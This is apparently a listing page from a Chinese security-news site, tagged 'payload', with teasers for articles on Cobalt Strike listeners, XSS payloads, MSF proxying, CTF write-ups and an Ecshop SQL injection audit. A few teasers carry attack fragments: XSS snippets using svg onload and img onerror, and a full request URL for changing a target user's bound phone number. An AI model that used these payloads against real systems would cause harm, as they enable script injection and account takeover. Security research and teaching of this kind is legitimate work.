payload - 第 126 | CN-SEC 中文网

安全文章

listener利用手法和分析

一个监听器既是一个 payload 的配置信息，同时又是 Cobalt Strike 起一个服务器来接收来自这个 payload 的连接的指示。一个监听器由用户定义的名称、payload 类型和几个特...

12月28日115 views评论

阅读全文

安全文章

奇技淫巧(2) - XSS payload

%ff<!---><svg/onload=top[/al/.source+/ert/....

12月24日34 views评论

阅读全文

奇思妙计 XSS Payload

1: <img longdesc="src='x'onerror=alert(document.domain);//><img " src='sho...

12月21日安全文章50 views评论

阅读全文

安全文章

cobalt strike笔记-listener利用手法和分析

12月08日59 views评论

阅读全文

逆向工程

由WCTF2020 Thymeleaf分析payload形式

更多全球网络安全资讯尽在邑安全前段时间参加了WCTF2020比赛，当时主要是通过盲测的方式找到了正确的payload，但是对于网上出现的多种payload形式并不了解其原因，因此有了这篇文章。根据网上...

11月30日54 views评论

阅读全文

逆向工程

hack101 CTF 做题记录（一）

想在hackone玩会，就有了此文。有的也不会，惆怅第一题右键源代码查看，发现了个东东访问之提交下一题简单的看了下，只有一个留言版在Markdown Test编写的内容会在t...

11月14日280 views评论

阅读全文

安全文章

内网代理篇(二)：MSF代理

声明：公众号文章来自团队核心成员和知识星球成员，少部分文章经过原作者授权和其它公众号白名单转载。未经授权，严禁转载，如需转载，请联系开白！请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果...

10月11日403 views评论

阅读全文

安全工具

xssfork-新一代xss探测工具

xssfork简介xssfork作为sicklescan的一个功能模块，其开发主要目的是用于检测xss漏洞。传统的xss探测工具，一般都是采用 payload in response的方式，即在发送一...

09月23日321 views评论

阅读全文

安全文章

重置绑定📱号payload:nnhttps://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1nn注意需要登录之后才可以nn这个payload配合上上次发的推送食用，payload来自【云客侠心】[强]

09月18日398 views评论

阅读全文

安全文章

蓝队：HW溯源小工具 shiro payload decode

文章来源：漏洞推送golang写的很简单的一个小工具，可用于对shiro的payload进行解密，方便溯源使用方法：C:UserslanyiDesktop>shiro_payload_decod...

09月15日536 views评论

阅读全文

Hvv防守第二天

纪录一下马路牙子的生活。大致如下这些条，个人想法。。不喜勿喷：少听信谣言，少参与各种hvv群灌水，hvv挺重要的就少看weixin，多看看流量。看好自己东西，hvv结束后大家再互相水。多纪录一下自己资...

09月11日安全文章398 views评论

阅读全文

代码审计

Ecshop 4.0 SQL（代码审计从Nday到0day ）

点击蓝字 · 关注我们01背景payload Referer 处 SQL注入导致RCE(先对公开的进行分析学习)02为什么要在HTTP头 SQL注入require(dirname...

09月09日439 views评论

阅读全文

listener利用手法和分析

奇技淫巧(2) - XSS payload

奇思妙计 XSS Payload

cobalt strike笔记-listener利用手法和分析

由WCTF2020 Thymeleaf分析payload形式

hack101 CTF 做题记录（一）

内网代理篇(二)：MSF代理

xssfork-新一代xss探测工具

重置绑定📱号payload:nnhttps://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1nn注意需要登录之后才可以nn这个payload配合上上次发的推送食用，payload来自【云客侠心】[强]

蓝队：HW溯源小工具 shiro payload decode

Hvv防守第二天

Ecshop 4.0 SQL（代码审计从Nday到0day ）

在线咨询

微信